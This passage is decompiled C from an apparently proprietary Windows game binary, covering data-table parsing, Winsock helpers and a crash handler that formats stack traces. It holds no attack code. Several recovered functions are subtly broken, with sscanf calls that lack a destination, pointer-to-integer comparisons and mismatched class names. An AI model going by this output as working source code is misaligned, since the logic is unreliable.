-------------------------------------------------------- void __thiscall MapDataBox::MapDataBox(MapDataBox *this) { MapDataBox *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->mdb_BinData.baseclass_0); *(_DWORD *)&v1->mdb_BinData.bdb_defaultblock.MapName.n3_name[8] = 0; *(_DWORD *)&v1->mdb_BinData.bdb_defaultblock.MapName.n3_name[4] = 0; *(_DWORD *)&v1->mdb_BinData.bdb_defaultblock.MapName.n3_name[0] = 0; *(_DWORD *)&v1->mdb_BinData.bdb_defaultblock.MapFolderName.n3_name[8] = 0; *(_DWORD *)&v1->mdb_BinData.bdb_defaultblock.MapFolderName.n3_name[4] = 0; *(_DWORD *)&v1->mdb_BinData.bdb_defaultblock.MapFolderName.n3_name[0] = 0; memset((void *)&v1->mdb_BinData.bdb_defaultblock, 0, sizeof(v1->mdb_BinData.bdb_defaultblock)); BTree::BTree(&v1->mdb_btree); v1->mdb_index = 0; v1->mdb_maxmapid = 0; } //----- (0055FDC0) -------------------------------------------------------- void __thiscall MapDataBox::_MapDataBox(MapDataBox *this) { MapDataBox *v1; // esi@1 void *v2; // eax@1 v1 = this; v2 = this->mdb_index; if ( v2 ) operator delete(v2); BTree::_BTree(&v1->mdb_btree); CCharacterTitleData::_CCharacterTitleData(&v1->mdb_BinData.baseclass_0); } //----- (0055FE30) -------------------------------------------------------- int __cdecl InetAddress::WinSockStart(int MajorVer, int MinorVer) { __int16 v2; // ax@1 __int16 v3; // si@1 struct WSAData wsaData; // [sp+4h] [bp-194h]@1 LOBYTE(v2) = 0; HIBYTE(v2) = MinorVer; v3 = (unsigned __int8)MajorVer | v2; if ( WSAStartup((unsigned __int8)MajorVer | v2, &wsaData) ) return 0; if ( wsaData.wVersion != v3 ) { WSACleanup(); return 0; } return 1; } //----- (0055FEB0) -------------------------------------------------------- char *__cdecl InetAddress::GetHostByName(char *name) { struct hostent *v1; // eax@1 char *result; // eax@2 v1 = gethostbyname(name); if ( v1 ) result = inet_ntoa(**(struct in_addr **)v1->h_addr_list); else result = 0; return result; } //----- (0055FED0) -------------------------------------------------------- void __thiscall ORKeyList::_ORKeyList(ORKeyList *this) { _eh_vector_destructor_iterator_( this, 0x18u, 1024, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (0055FEF0) -------------------------------------------------------- void __thiscall ORKeyList::okl_AddKey(ORKeyList *this, ORToken *field, ORRecord *rec) { int v3; // eax@1 char *v4; // eax@2 v3 = this->okl_KeyNum; if ( v3 < 1024 ) { v4 = (char *)this + 24 * v3; *(_QWORD *)v4 = *(_QWORD *)&field->ort_Name[0]; *((_QWORD *)v4 + 1) = *(_QWORD *)&field->ort_Name[8]; *((_DWORD *)v4 + 4) = *(_DWORD *)&field->ort_Name[16]; this->okl_Element[this->okl_KeyNum++].rec = rec; } } //----- (0055FF80) -------------------------------------------------------- void __thiscall ORKeyList::ORKeyList(ORKeyList *this) { ORKeyList *v1; // esi@1 v1 = this; _eh_vector_constructor_iterator_( this, 0x18u, 1024, (void (__thiscall *)(void *))DropItemStruct::ItemGroup::ItemGroup, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->okl_KeyNum = 0; } //----- (0055FFB0) -------------------------------------------------------- char __thiscall ORKeyList::okl_Sorting(ORKeyList *this) { int v1; // eax@1 char result; // al@3 v1 = this->okl_KeyNum; if ( v1 && v1 < 1024 ) { qsort(this, v1, 0x18u, ORKeyList::okl_KeyCompare); result = 1; } else { result = 0; } return result; } //----- (0055FFE0) -------------------------------------------------------- ORRecord *__thiscall ORKeyList::okl_Searching(ORKeyList *this, char *index) { ORKeyList *v2; // esi@1 void *v3; // eax@1 ORRecord *result; // eax@2 char indexkey[4]; // [sp+8h] [bp-18h]@1 int v6; // [sp+Ch] [bp-14h]@1 int v7; // [sp+10h] [bp-10h]@1 int v8; // [sp+14h] [bp-Ch]@1 int v9; // [sp+18h] [bp-8h]@1 v2 = this; v9 = 0; v8 = 0; v7 = 0; v6 = 0; *(_DWORD *)indexkey = 0; strncpy(indexkey, index, 0x14u); v3 = bsearch(indexkey, v2, v2->okl_KeyNum, 0x18u, ORKeyList::okl_KeyCompare); if ( v3 ) result = (ORRecord *)*((_DWORD *)v3 + 5); else result = 0; return result; } //----- (00560060) -------------------------------------------------------- ORToken *__thiscall ORField::orf_ColumnName(ORField *this) { return ORColumnHeader::orch_GetColumnName(this->orf_Header); } //----- (00560070) -------------------------------------------------------- char __thiscall ORFieldIndex::orf_Read(ORFieldIndex *this, ORTokenReader *token) { ORFieldIndex *v2; // esi@1 char *v3; // eax@1 char result; // al@2 ORToken *v5; // ST00_4@3 v2 = this; v3 = ORTokenReader::ortr_ReadString(token, 0); if ( v3 ) { v5 = v2->orfi_Index; *(_DWORD *)&v5->ort_Name[16] = 0; *(_DWORD *)&v5->ort_Name[12] = 0; *(_DWORD *)&v5->ort_Name[8] = 0; *(_DWORD *)&v5->ort_Name[4] = 0; *(_DWORD *)&v5->ort_Name[0] = 0; strncpy(v5->ort_Name, v3, 0x14u); result = 1; } else { ORTokenReader::ortr_SetError(token, "Cannot read index data"); result = 0; } return result; } //----- (005600C0) -------------------------------------------------------- char __thiscall ORFieldIndex::orf_CompareContent(ORFieldIndex *this, char *contentstring, ORToken *contentindex) { ORToken *v3; // eax@1 v3 = this->orfi_Index; return *(_DWORD *)&contentindex->ort_Name[0] == *(_DWORD *)&v3->ort_Name[0] && *(_DWORD *)&contentindex->ort_Name[4] == *(_DWORD *)&v3->ort_Name[4] && *(_DWORD *)&contentindex->ort_Name[8] == *(_DWORD *)&v3->ort_Name[8] && *(_DWORD *)&contentindex->ort_Name[12] == *(_DWORD *)&v3->ort_Name[12] && *(_DWORD *)&contentindex->ort_Name[16] == *(_DWORD *)&v3->ort_Name[16]; } //----- (00560100) -------------------------------------------------------- void *__thiscall ORFieldDwrd::orf_GetBuffer(ORFieldDwrd *this) { return this->orfd_Dwrd; } //----- (00560110) -------------------------------------------------------- char __thiscall ORFieldString::orf_CompareContent(ORFieldString *this, char *contentstring, ORToken *contentindex) { char result; // al@2 if ( strcmp(this->orfs_String, contentstring) ) result = 0; else result = 1; return result; } //----- (00560160) -------------------------------------------------------- char __thiscall ORFieldByte::orf_Read(ORFieldByte *this, ORTokenReader *token) { ORFieldByte *v2; // esi@1 int v3; // eax@1 char v4; // al@3 char result; // [sp+1h] [bp-1h]@1 v2 = this; result = 0; v3 = ORTokenReader::ortr_ReadNumber(token, &result); if ( result && v3 < 256 ) { *v2->orfb_Byte = v3; v4 = 1; } else { ORTokenReader::ortr_SetError(token, "Cannot read byte data"); v4 = 0; } return v4; } //----- (005601B0) -------------------------------------------------------- char __thiscall ORFieldByte::orf_CompareContent(ORFieldByte *this, char *contentstring, ORToken *contentindex) { ORFieldByte *v3; // esi@1 v3 = this; sscanf(contentstring, "%d"); return contentstring == (char *)*v3->orfb_Byte; } //----- (005601E0) -------------------------------------------------------- char __thiscall ORFieldWord::orf_Read(ORFieldWord *this, ORTokenReader *token) { ORFieldWord *v2; // esi@1 int v3; // eax@1 char v4; // al@3 char result; // [sp+1h] [bp-1h]@1 v2 = this; result = 0; v3 = ORTokenReader::ortr_ReadNumber(token, &result); if ( result && v3 < 65536 ) { *v2->orfw_Word = v3; v4 = 1; } else { ORTokenReader::ortr_SetError(token, "Cannot read word data"); v4 = 0; } return v4; } //----- (00560230) -------------------------------------------------------- char __thiscall ORFieldWord::orf_CompareContent(ORFieldWord *this, char *contentstring, ORToken *contentindex) { ORFieldWord *v3; // esi@1 v3 = this; sscanf(contentstring, "%d"); return contentstring == (char *)*v3->orfw_Word; } //----- (00560260) -------------------------------------------------------- int __thiscall ORFieldIndex::orf_Alloc(ORFieldDwrd *this, char *pnt) { this->orfd_Dwrd = (unsigned int *)pnt; return (int)AbnormalStateContainer::AbstateElementInObject::aeo_GetIndex((ORErrorMessage *)this->baseclass_0.orf_Header); } //----- (00560280) -------------------------------------------------------- char __thiscall ORFieldDwrd::orf_Read(ORFieldDwrd *this, ORTokenReader *token) { ORFieldDwrd *v2; // esi@1 int v3; // eax@1 char v4; // al@2 char result; // [sp+1h] [bp-1h]@1 v2 = this; result = 0; v3 = ORTokenReader::ortr_ReadNumber(token, &result); if ( result ) { *v2->orfd_Dwrd = v3; v4 = 1; } else { ORTokenReader::ortr_SetError(token, "Cannot read dwrd data"); v4 = 0; } return v4; } //----- (005602D0) -------------------------------------------------------- char __thiscall ORFieldDwrd::orf_CompareContent(ORFieldDwrd *this, char *contentstring, ORToken *contentindex) { ORFieldDwrd *v3; // esi@1 v3 = this; sscanf(contentstring, "%d"); return contentstring == *(char **)v3->orfd_Dwrd; } //----- (00560300) -------------------------------------------------------- void __thiscall ORRecord::ORRecord(ORRecord *this) { this->orr_Buffer = 0; memset(this, 0, 0x800u); } //----- (00560320) -------------------------------------------------------- void __thiscall ORRecord::l_Clone(ORRecord *this, ORRecord *rec) { memcpy(this, rec, 0x808u); memset(rec, 0, 0x800u); rec->orr_Buffer = 0; } //----- (00560350) -------------------------------------------------------- void *__thiscall ORRecord::orr_GetBuffer(ORRecord *this) { return this->orr_Buffer; } //----- (00560360) -------------------------------------------------------- void __thiscall ORRecord::orr_MakeBuffer(ORRecord *this, int recorelength) { ORRecord *v2; // esi@1 v2 = this; this->orr_Buffer = (char *)operator new(recorelength); v2->orr_Pointer = 0; } //----- (00560390) -------------------------------------------------------- void __thiscall ORRecord::orr_AllocMemory(ORRecord *this, ORField *cell) { this->orr_Pointer += ((int (__stdcall *)(_DWORD))cell->vfptr->orf_Alloc)(&this->orr_Buffer[this->orr_Pointer]); } //----- (005603C0) -------------------------------------------------------- ORField *__thiscall ORRecord::orr_AllocObject(ORRecord *this, unsigned __int16 *hnd, unsigned __int16 type) { ORRecord *v3; // edi@1 signed int v4; // esi@1 ORField *result; // eax@4 v3 = this; v4 = 0; while ( this->orr_FieldArray[v4] ) { ++v4; if ( v4 >= 512 ) return 0; } switch ( type ) { case 1u: result = (ORField *)operator new(0xCu); if ( !result ) goto LABEL_16; result[1].vfptr = 0; result->vfptr = (ORFieldVtbl *)&ORFieldIndex::_vftable_; v3->orr_FieldArray[v4] = result; break; case 2u: result = (ORField *)operator new(0xCu); if ( !result ) goto LABEL_16; result[1].vfptr = 0; result->vfptr = (ORFieldVtbl *)&ORFieldString::_vftable_; v3->orr_FieldArray[v4] = result; break; case 3u: result = (ORField *)operator new(0xCu); if ( !result ) goto LABEL_16; result[1].vfptr = 0; result->vfptr = (ORFieldVtbl *)&ORFieldByte::_vftable_; v3->orr_FieldArray[v4] = result; break; case 4u: result = (ORField *)operator new(0xCu); if ( !result ) goto LABEL_16; result[1].vfptr = 0; result->vfptr = (ORFieldVtbl *)&ORFieldWord::_vftable_; v3->orr_FieldArray[v4] = result; break; case 5u: result = (ORField *)operator new(0xCu); if ( !result ) { LABEL_16: v3->orr_FieldArray[v4] = 0; goto LABEL_17; } result[1].vfptr = 0; result->vfptr = (ORFieldVtbl *)&ORFieldDwrd::_vftable_; v3->orr_FieldArray[v4] = result; break; default: LABEL_17: result = v3->orr_FieldArray[v4]; break; } return result; } // 5DB02C: using guessed type int (__stdcall *ORFieldIndex___vftable_)(int contentstring, int contentindex); // 5DB058: using guessed type int (__stdcall *ORFieldString___vftable_)(int contentstring, int contentindex); // 5DB06C: using guessed type int (__stdcall *ORFieldByte___vftable_)(char *contentstring, int num); // 5DB098: using guessed type int (__stdcall *ORFieldWord___vftable_)(char *contentstring, int num); // 5DB0C4: using guessed type int (__stdcall *ORFieldDwrd___vftable_)(char *contentstring, int num); //----- (005604D0) -------------------------------------------------------- char __thiscall ORFieldString::orf_Read(ORFieldString *this, ORTokenReader *token) { ORFieldString *v2; // esi@1 char *v3; // ebx@1 char result; // al@2 unsigned __int16 v5; // ax@3 void *v6; // edi@3 unsigned int v7; // ecx@3 int v8; // edi@3 int i; // ecx@3 size_t v10; // eax@6 v2 = this; v3 = ORTokenReader::ortr_ReadString(token, 0); if ( v3 ) { v5 = (unsigned int)AbnormalStateContainer::AbstateElementInObject::aeo_GetIndex((ORErrorMessage *)v2->baseclass_0.orf_Header); v6 = v2->orfs_String; v7 = (unsigned int)v5 >> 2; memset(v6, 0, 4 * v7); v8 = (int)((char *)v6 + 4 * v7); for ( i = v5 & 3; i; --i ) *(_BYTE *)v8++ = 0; v10 = (size_t)AbnormalStateContainer::AbstateElementInObject::aeo_GetIndex((ORErrorMessage *)v2->baseclass_0.orf_Header); strncpy(v2->orfs_String, v3, v10); result = 1; } else { ORTokenReader::ortr_SetError(token, "Cannot read string data"); result = 0; } return result; } //----- (00560540) -------------------------------------------------------- void __thiscall ORRecord::_ORRecord(ORRecord *this) { ORRecord *v1; // edi@1 signed int v2; // esi@3 ORField *v3; // eax@4 void *v4; // ST00_4@5 v1 = this; if ( this->orr_Buffer ) operator delete(this->orr_Buffer); v2 = 0; do { v3 = v1->orr_FieldArray[v2]; if ( v3 ) { v4 = v1->orr_FieldArray[v2]; v3->vfptr = (ORFieldVtbl *)ORField::_vftable_; operator delete(v4); } ++v2; } while ( v2 < 512 ); } // 5DB018: using guessed type int (*ORField___vftable_[5])(); //----- (00560590) -------------------------------------------------------- void __cdecl FillInStackFrame(_CONTEXT *pCtx) { memset(&s_stFrame, 0, sizeof(s_stFrame)); LODWORD(s_stFrame.AddrPC.Offset) = pCtx->Eip; s_stFrame.AddrPC.Offset = (unsigned int)s_stFrame.AddrPC.Offset; s_stFrame.AddrPC.Mode = 3; LODWORD(s_stFrame.AddrStack.Offset) = pCtx->Esp; s_stFrame.AddrStack.Offset = LODWORD(s_stFrame.AddrStack.Offset); s_stFrame.AddrStack.Mode = 3; LODWORD(s_stFrame.AddrFrame.Offset) = pCtx->Ebp; s_stFrame.AddrFrame.Offset = LODWORD(s_stFrame.AddrFrame.Offset); s_stFrame.AddrFrame.Mode = 3; } //----- (00560600) -------------------------------------------------------- int __stdcall CH_ReadProcessMemory(void *__formal, unsigned __int64 qwBaseAddress, void *lpBuffer, unsigned int nSize, unsigned int *lpNumberOfBytesRead) { HANDLE v5; // eax@1 v5 = GetCurrentProcess(); return ReadProcessMemory(v5, (LPCVOID)qwBaseAddress, lpBuffer, nSize, lpNumberOfBytesRead); } //----- (00560630) -------------------------------------------------------- const char *__cdecl EHConvertSimpleException(unsigned int dwExcept) { const char *result; // eax@9 if ( dwExcept > 0xC000008D ) { if ( dwExcept > 0xC00000FD ) { if ( dwExcept != -529697949 ) return 0; result = "Microsoft C++ Exception"; } else { if ( dwExcept == -1073741571 ) { result = "EXCEPTION_STACK_OVERFLOW"; } else { switch ( dwExcept ) { case 0xC000008Eu: result = "EXCEPTION_FLT_DIVIDE_BY_ZERO"; break; case 0xC000008Fu: result = "EXCEPTION_FLT_INEXACT_RESULT"; break; case 0xC0000090u: result = "EXCEPTION_FLT_INVALID_OPERATION"; break; case 0xC0000091u: result = "EXCEPTION_FLT_OVERFLOW"; break; case 0xC0000092u: result = "EXCEPTION_FLT_STACK_CHECK"; break; case 0xC0000093u: result = "EXCEPTION_FLT_UNDERFLOW"; break; case 0xC0000094u: result = "EXCEPTION_INT_DIVIDE_BY_ZERO"; break; case 0xC0000095u: result = "EXCEPTION_INT_OVERFLOW"; break; case 0xC0000096u: result = "EXCEPTION_PRIV_INSTRUCTION"; break; default: return 0; } } } } else { if ( dwExcept == -1073741683 ) return "EXCEPTION_FLT_DENORMAL_OPERAND"; if ( dwExcept <= 0xC0000006 ) { if ( dwExcept == -1073741818 ) return "EXCEPTION_IN_PAGE_ERROR"; if ( dwExcept > 0x80000003 ) { if ( dwExcept == -2147483644 ) return "EXCEPTION_SINGLE_STEP"; if ( dwExcept == -1073741819 ) return "EXCEPTION_ACCESS_VIOLATION"; } else { if ( dwExcept == -2147483645 ) return "EXCEPTION_BREAKPOINT"; if ( dwExcept == -2147483647 ) return "EXCEPTION_GUARD_PAGE"; if ( dwExcept == -2147483646 ) return "EXCEPTION_DATATYPE_MISALIGNMENT"; } return 0; } switch ( dwExcept + 1073741816 ) { case 0x84u: result = "EXCEPTION_ARRAY_BOUNDS_EXCEEDED"; break; case 0x15u: result = "EXCEPTION_ILLEGAL_INSTRUCTION"; break; case 0x1Du: result = "EXCEPTION_NONCONTINUABLE_EXCEPTION"; break; case 0x1Eu: result = "EXCEPTION_INVALID_DISPOSITION"; break; case 0u: result = "EXCEPTION_INVALID_HANDLE"; break; default: return 0; } } return result; } //----- (00560810) -------------------------------------------------------- int __cdecl EHInitSymbolEngine() { int result; // eax@1 DWORD v1; // eax@2 HANDLE v2; // eax@2 result = s_bSymEngInit; if ( !s_bSymEngInit ) { v1 = SymGetOptions(); SymSetOptions(v1 | 0x10); v2 = GetCurrentProcess(); result = SymInitialize(v2, 0, 1); s_bSymEngInit = result; } return result; } //----- (00560840) -------------------------------------------------------- void __cdecl EHCleanupSymbolEngine() { HANDLE v0; // eax@2 if ( s_bSymEngInit == 1 ) { v0 = GetCurrentProcess(); SymCleanup(v0); s_bSymEngInit = 0; } } //----- (00560870) -------------------------------------------------------- const char *__stdcall EHInternalGetStackTraceString(unsigned int dwOpts) { int v1; // eax@0 HANDLE v2; // ST0C_4@1 HANDLE v3; // eax@1 unsigned __int64 v4; // ST20_8@3 HANDLE v5; // eax@3 int v6; // edx@3 int v7; // edi@3 int v8; // esi@5 void *v9; // eax@9 void *v10; // eax@10 void *v11; // edx@10 char *v12; // edi@10 char v13; // cl@11 int v14; // edx@12 char v15; // cl@13 int v16; // esi@14 unsigned __int64 v17; // ST18_8@16 HANDLE v18; // eax@16 const char *result; // eax@20 int v20; // eax@22 unsigned __int64 v21; // ST18_8@26 HANDLE v22; // eax@26 int v23; // [sp-Ch] [bp-58h]@1 int dwModBase; // [sp+0h] [bp-4Ch]@3 int v25; // [sp+4h] [bp-48h]@3 unsigned __int64 dwDisp; // [sp+8h] [bp-44h]@16 int v27; // [sp+10h] [bp-3Ch]@29 int iLen; // [sp+14h] [bp-38h]@19 char *pSym; // [sp+18h] [bp-34h]@16 DWORD iLength; // [sp+1Ch] [bp-30h]@8 int bSWRet; // [sp+20h] [bp-2Ch]@1 int dwLineDisp; // [sp+24h] [bp-28h]@26 void *pchBaseName; // [sp+28h] [bp-24h]@9 char *szRet; // [sp+2Ch] [bp-20h]@20 int iCurr; // [sp+30h] [bp-1Ch]@5 int *v36; // [sp+34h] [bp-18h]@1 int v37; // [sp+3Ch] [bp-10h]@1 int (__cdecl *v38)(int, PVOID, int); // [sp+40h] [bp-Ch]@1 _UNKNOWN *v39; // [sp+44h] [bp-8h]@1 int v40; // [sp+48h] [bp-4h]@1 v39 = &unk_5DB410; v38 = _except_handler3; v37 = v1; v36 = &v23; v40 = 0; EHInitSymbolEngine(); v2 = GetCurrentThread(); v3 = GetCurrentProcess(); bSWRet = StackWalk64( 0x14Cu, v3, v2, &s_stFrame, &s_stContext, CH_ReadProcessMemory, SymFunctionTableAccess64, SymGetModuleBase64, 0); if ( bSWRet ) { if ( s_stFrame.AddrFrame.Offset ) { v4 = s_stFrame.AddrPC.Offset; v5 = GetCurrentProcess(); v7 = ((int (__stdcall *)(HANDLE, _DWORD, _DWORD))SymGetModuleBase64)(v5, v4, HIDWORD(v4)); dwModBase = v7; v25 = v6; if ( v7 || v6 ) { iCurr = 0; v8 = _wsprintfA(s_szBuff, "%04X:%08X", s_stContext.SegCs, s_stFrame.AddrPC.Offset); iCurr = v8; if ( (dwOpts & 1) == 1 ) { v8 += _wsprintfA( &s_szBuff[v8], " (0x%08X 0x%08X 0x%08X 0x%08X)", s_stFrame.Params[0], s_stFrame.Params[1], s_stFrame.Params[2], s_stFrame.Params[3]); iCurr = v8; } if ( (dwOpts & 2) == 2 ) { v8 += _wsprintfA(&s_szBuff[v8], ", "); iCurr = v8; iLength = GetModuleFileNameA((HMODULE)v7, s_szFName, 0x800u); if ( (signed int)iLength > 0 ) { strrchr(s_szFName, 92); pchBaseName = v9; if ( v9 ) { v10 = (char *)v9 + 1; pchBaseName = v10; v11 = v10; v12 = &s_szBuff[v8]; do { v13 = *(_BYTE *)v11; *v12 = *(_BYTE *)v11; v11 = (char *)v11 + 1; ++v12; } while ( v13 ); v14 = (int)((char *)v10 + 1); do { v15 = *(_BYTE *)v10; v10 = (char *)v10 + 1; } while ( v15 ); v16 = (int)((char *)v10 + v8 - v14); iCurr = v16; v8 = _wsprintfA(&s_szBuff[v16], ", ") + v16; iCurr = v8; } } } if ( (dwOpts & 4) == 4 ) { pSym = s_stSymbol; memset(s_stSymbol, 0, sizeof(s_stSymbol)); *(_DWORD *)s_stSymbol = 32; *(_DWORD *)&s_stSymbol[24] = 992; *(_QWORD *)&s_stSymbol[8] = s_stFrame.AddrPC.Offset; v17 = s_stFrame.AddrPC.Offset; v18 = GetCurrentProcess(); if ( SymGetSymFromAddr64(v18, v17, &dwDisp, (PIMAGEHLP_SYMBOL64)s_stSymbol) != 1 ) { LABEL_34: result = s_szBuff; szRet = s_szBuff; return result; } if ( dwOpts & 0xFFFFFFFB ) { v8 += _wsprintfA(&s_szBuff[v8], (LPCSTR)&stru_598DE4); iCurr = v8; } iLen = lstrlenA(&s_stSymbol[28]); if ( iLen > 1486 - v8 ) { lstrcpynA(&s_szBuff[v8], &s_stSymbol[28], 2047 - v8); result = s_szBuff; szRet = s_szBuff; return result; } if ( dwDisp ) v20 = _wsprintfA(&s_szBuff[v8], " %s()+%04d byte(s)", &s_stSymbol[28], dwDisp); else v20 = _wsprintfA(&s_szBuff[v8], " %s ", &s_stSymbol[28]); v8 += v20; iCurr = v8; } if ( (dwOpts & 8) == 8 ) { s_stLine.Key = 0; s_stLine.LineNumber = 0; s_stLine.FileName = 0; s_stLine.Address = 0i64; s_stLine.SizeOfStruct = 24; v21 = s_stFrame.AddrPC.Offset; v22 = GetCurrentProcess(); if ( SymGetLineFromAddr64(v22, v21, (PDWORD)&dwLineDisp, &s_stLine) == 1 ) { if ( dwOpts & 0xFFFFFFF7 ) { v8 += _wsprintfA(&s_szBuff[v8], ","); iCurr = v8; } v27 = lstrlenA(s_stLine.FileName); if ( v27 > 1738 - v8 ) { lstrcpynA(&s_szBuff[v8], s_stLine.FileName, 2047 - v8); result = s_szBuff; szRet = s_szBuff; return result; } if ( dwLineDisp ) { iCurr = _wsprintfA( &s_szBuff[v8], " %s, line %04d+%04d byte(s)", s_stLine.FileName, s_stLine.LineNumber, dwLineDisp) + v8; result = s_szBuff; szRet = s_szBuff; return result; } iCurr = _wsprintfA(&s_szBuff[v8], " %s, line %04d", s_stLine.FileName, s_stLine.LineNumber) + v8; } } goto LABEL_34; } } } return 0; } // 596290: invalid function type has been ignored //----- (00560C90) -------------------------------------------------------- const char *__stdcall GetFaultReason(_EXCEPTION_POINTERS *pExPtrs) { int v1; // eax@0 const char *result; // eax@2 int v3; // esi@3 HINSTANCE__ *v4; // eax@3 void *v5; // eax@4 void *v6; // eax@5 void *v7; // edx@5 char *v8; // ebx@5 char v9; // cl@6 int v10; // edx@7 char v11; // cl@8 int v12; // esi@10 const char *v13; // edi@10 int v14; // esi@10 unsigned int v15; // eax@12 unsigned int v16; // ST08_4@13 HMODULE v17; // eax@13 int v18; // esi@14 int v19; // esi@14 int v20; // esi@14 __int64 v21; // ST14_8@14 HANDLE v22; // eax@14 int v23; // eax@14 int v24; // edx@14 int v25; // eax@16 int v26; // eax@18 const char *v27; // edi@19 int v28; // edx@19 char *v29; // eax@19 char v30; // cl@20 int v31; // esi@23 int v32; // esi@23 DWORD64 v33; // ST0C_8@23 HANDLE v34; // eax@23 int v35; // esi@24 int v36; // eax@27 int v37; // esi@29 DWORD64 v38; // ST0C_8@29 HANDLE v39; // eax@29 int v40; // esi@30 int v41; // [sp-Ch] [bp-58h]@1 unsigned __int64 dwDisp; // [sp+0h] [bp-4Ch]@23 const char *dwTemp; // [sp+8h] [bp-44h]@10 int v44; // [sp+Ch] [bp-40h]@10 int v45; // [sp+10h] [bp-3Ch]@30 int iLen; // [sp+14h] [bp-38h]@24 char *pSym; // [sp+18h] [bp-34h]@23 int dwLineDisp; // [sp+1Ch] [bp-30h]@29 int v49; // [sp+20h] [bp-2Ch]@18 DWORD iLength; // [sp+24h] [bp-28h]@3 void *pchBaseName; // [sp+28h] [bp-24h]@4 char *szRet; // [sp+2Ch] [bp-20h]@25 int iCurr; // [sp+30h] [bp-1Ch]@3 int *v54; // [sp+34h] [bp-18h]@1 int v55; // [sp+3Ch] [bp-10h]@1 int (__cdecl *v56)(int, PVOID, int); // [sp+40h] [bp-Ch]@1 _UNKNOWN *v57; // [sp+44h] [bp-8h]@1 int v58; // [sp+48h] [bp-4h]@1 v58 = -1; v57 = &unk_5DB498; v56 = _except_handler3; v55 = v1; v54 = &v41; if ( IsBadReadPtr(pExPtrs, 8u) == 1 ) { OutputDebugStringA("Bad parameter to GetFaultReason\n"); return 0; } v3 = 0; v58 = 0; EHInitSymbolEngine(); iCurr = 0; v4 = GetModuleHandleA(0); iLength = GetModuleFileNameA(v4, s_szFName, 0x800u); if ( (signed int)iLength > 0 ) { strrchr(s_szFName, 92); pchBaseName = v5; if ( v5 ) { v6 = (char *)v5 + 1; pchBaseName = v6; v7 = v6; v8 = s_szBuff; do { v9 = *(_BYTE *)v7; *v8 = *(_BYTE *)v7; v7 = (char *)v7 + 1; ++v8; } while ( v9 ); v10 = (int)((char *)v6 + 1); do { v11 = *(_BYTE *)v6; v6 = (char *)v6 + 1; } while ( v11 ); v3 = (int)((char *)v6 - v10); iCurr = (int)((char *)v6 - v10); } } v12 = _wsprintfA(&s_szBuff[v3], " caused an: ") + v3; iCurr = v12; v13 = EHConvertSimpleException(pExPtrs->ExceptionRecord->ExceptionCode); dwTemp = v13; v44 = 0; v14 = _wsprintfA(&s_szBuff[v12], "< ") + v12; iCurr = v14; if ( v13 || v44 ) { v15 = _wsprintfA(&s_szBuff[v14], "%s", v13, v44); } else { v16 = pExPtrs->ExceptionRecord->ExceptionCode; v17 = GetModuleHandleA("NTDLL.DLL"); v15 = FormatMessageA(0xA00u, v17, v16, 0, &s_szBuff[v14], 0x800u, 0); } v18 = v15 + v14; iCurr = v18; v19 = _wsprintfA(&s_szBuff[v18], " >") + v18; iCurr = v19; v20 = _wsprintfA(&s_szBuff[v19], "\nIn module: ") + v19; iCurr = v20; v21 = (__int64)pExPtrs->ExceptionRecord->ExceptionAddress; v22 = GetCurrentProcess(); v23 = ((int (__stdcall *)(HANDLE, _DWORD, _DWORD))SymGetModuleBase64)(v22, v21, HIDWORD(v21)); dwTemp = (const char *)v23; v44 = v24; if ( v23 || v24 ) { iLength = GetModuleFileNameA((HMODULE)v23, s_szFName, 0x800u); if ( (signed int)iLength <= 0 || (strrchr(s_szFName, 92), (v49 = v26) == 0) ) goto LABEL_23; v27 = (const char *)(v26 + 1); v49 = v26 + 1; v28 = v26 + 1; v29 = &s_szBuff[v20]; do { v30 = *(_BYTE *)v28; *v29++ = *(_BYTE *)v28++; } while ( v30 ); v25 = strlen(v27); } else { v25 = _wsprintfA(&s_szBuff[v20], ""); } v20 += v25; iCurr = v20; LABEL_23: v31 = _wsprintfA( &s_szBuff[v20], " at: < %04X:%08X >", pExPtrs->ContextRecord->SegCs, pExPtrs->ExceptionRecord->ExceptionAddress) + v20; iCurr = v31; v32 = _wsprintfA(&s_szBuff[v31], "\n") + v31; iCurr = v32; pSym = s_stSymbol; memset(s_stSymbol, 0, sizeof(s_stSymbol)); *(_DWORD *)s_stSymbol = 32; *(_DWORD *)&s_stSymbol[24] = 992; v33 = (DWORD64)pExPtrs->ExceptionRecord->ExceptionAddress; v34 = GetCurrentProcess(); if ( SymGetSymFromAddr64(v34, v33, &dwDisp, (PIMAGEHLP_SYMBOL64)s_stSymbol) == 1 ) { v35 = _wsprintfA(&s_szBuff[v32], ",") + v32; iCurr = v35; iLen = lstrlenA(&s_stSymbol[28]); if ( iLen > 1486 - v35 ) { lstrcpynA(&s_szBuff[v35], &s_stSymbol[28], 2047 - v35); result = s_szBuff; szRet = s_szBuff; return result; } v36 = dwDisp ? _wsprintfA(&s_szBuff[v35], " %s()+%04d byte(s)", &s_stSymbol[28], dwDisp) : _wsprintfA( &s_szBuff[v35], " %s ", &s_stSymbol[28]); v37 = v36 + v35; iCurr = v37; s_stLine.Key = 0; s_stLine.LineNumber = 0; s_stLine.FileName = 0; s_stLine.Address = 0i64; s_stLine.SizeOfStruct = 24; v38 = (DWORD64)pExPtrs->ExceptionRecord->ExceptionAddress; v39 = GetCurrentProcess(); if ( SymGetLineFromAddr64(v39, v38, (PDWORD)&dwLineDisp, &s_stLine) == 1 ) { v40 = _wsprintfA(&s_szBuff[v37], ",") + v37; iCurr = v40; v45 = lstrlenA(s_stLine.FileName); if ( v45 > 1738 - v40 ) { lstrcpynA(&s_szBuff[v40], s_stLine.FileName, 2047 - v40); result = s_szBuff; szRet = s_szBuff; return result; } if ( dwLineDisp ) { iCurr = _wsprintfA( &s_szBuff[v40], " %s, line %04d+%04d byte(s)", s_stLine.FileName, s_stLine.LineNumber, dwLineDisp) + v40; result = s_szBuff; szRet = s_szBuff; return result; } iCurr = _wsprintfA(&s_szBuff[v40], " %s, line %04d", s_stLine.FileName, s_stLine.LineNumber) + v40; } } return s_szBuff; } // 596290: invalid function type has been ignored //----- (00561100) -------------------------------------------------------- const char *__stdcall GetFirstStackTraceString(unsigned int dwOpts, _EXCEPTION_POINTERS *pExPtrs) { const char *result; // eax@2 if ( IsBadReadPtr(pExPtrs, 4u) == 1 ) { OutputDebugStringA("GetFirstStackTraceString - invalid pExPtrs!\n"); result = 0; } else { FillInStackFrame(pExPtrs->ContextRecord); memcpy(&s_stContext, pExPtrs->ContextRecord, 